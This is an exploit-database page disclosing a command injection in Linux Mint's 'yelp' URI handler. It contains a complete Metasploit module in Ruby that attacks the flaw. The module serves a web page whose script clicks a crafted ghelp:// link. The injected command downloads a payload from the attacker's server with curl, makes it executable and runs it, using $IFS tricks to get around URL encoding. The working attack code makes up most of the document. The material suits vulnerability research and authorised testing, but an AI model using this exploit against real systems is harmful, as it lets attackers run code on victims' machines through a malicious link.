Linux Mint 'yelp' URI handler command injection vulnerability

vendor:

Linux Mint

by:

b1ack0wl

7.5

CVSS

HIGH

Command Injection

CWE

Product Name: Linux Mint

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Linux

Linux Mint ‘yelp’ URI handler command injection vulnerability

This module exploits a vulnerability within the 'ghelp', 'help' and 'man' URI handlers within Linux Mint's 'ubuntu-system-adjustments' package. Invoking any one the URI handlers will call the python script '/usr/local/bin/yelp' with the contents of the supplied URI handler as its argument. The script will then search for the strings 'gnome-help' or 'ubuntu-help' and if doesn't find either of them it'll then execute os.system('/usr/bin/yelp %s' % args). User interaction is required to exploit this vulnerability.

Mitigation:

Source

Exploit-DB raw data:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# Exploit from github repro: https://github.com/b1ack0wl/linux_mint_poc
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Linux Mint 'yelp' URI handler command injection vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability within the "ghelp", "help" and "man" URI handlers within 
          Linux Mint's "ubuntu-system-adjustments" package. Invoking any one the URI handlers will call 
          the python script "/usr/local/bin/yelp" with the contents of the supplied URI handler as its argument. 
          The script will then search for the strings "gnome-help" or "ubuntu-help" and if doesn't find either 
          of them it'll then execute os.system("/usr/bin/yelp %s" % args). User interaction is required to exploit 
          this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'b1ack0wl' # vuln discovery and exploit dev
        ],
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'WfsDelay' => 60
        },
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux Mint 18.3 and 19.1',
            {
              'Arch' => ARCH_X64
            } 
          ]
        ],
      'Privileged'     => false,
      'DefaultTarget'  => 0))
  end

  def generate_exploit_html()
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['LHOST']
    else
      srv_host = datastore['SRVHOST']
    end
    @filename = rand_text_alpha(4)
    cmd_inj = "curl http://#{srv_host}:#{datastore['SRVPORT']}/#{@service_path} -o /tmp/#{@filename};chmod 777 /tmp/#{@filename};/tmp/#{@filename} &".gsub(' ','$IFS$()') # Cheap way to add spaces since chrome percent encodes spaces (%20).
    html = %Q|
    <html>
    <head>
      <meta content="text/html;charset=utf-8" http-equiv="Content-Type">
      <meta content="utf-8" http-equiv="encoding">
      <title>paparoachfanclubdotcom</title>
    </head>
    <body>
    <script>
      lmao = document.createElement('a');
      lmao.href= "ghelp://$(#{cmd_inj})";
      document.body.appendChild(lmao); /* Needed to work with Firefox */
      lmao.click();
    </script>
    </body>
    </html>
    |
    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    if agent =~ /curl\/\d/
      # Command has been executed. Serve up the payload
      exe_payload = generate_payload_exe()
      print_status("Sending payload...")
      send_response(cli, exe_payload)
      register_file_for_cleanup("/tmp/#{@filename}")
      return
    else
      html = generate_exploit_html()
      print_status("Sending HTML...")
      send_response(cli, html, {'Content-Type'=>'text/html'})
    end
  end
end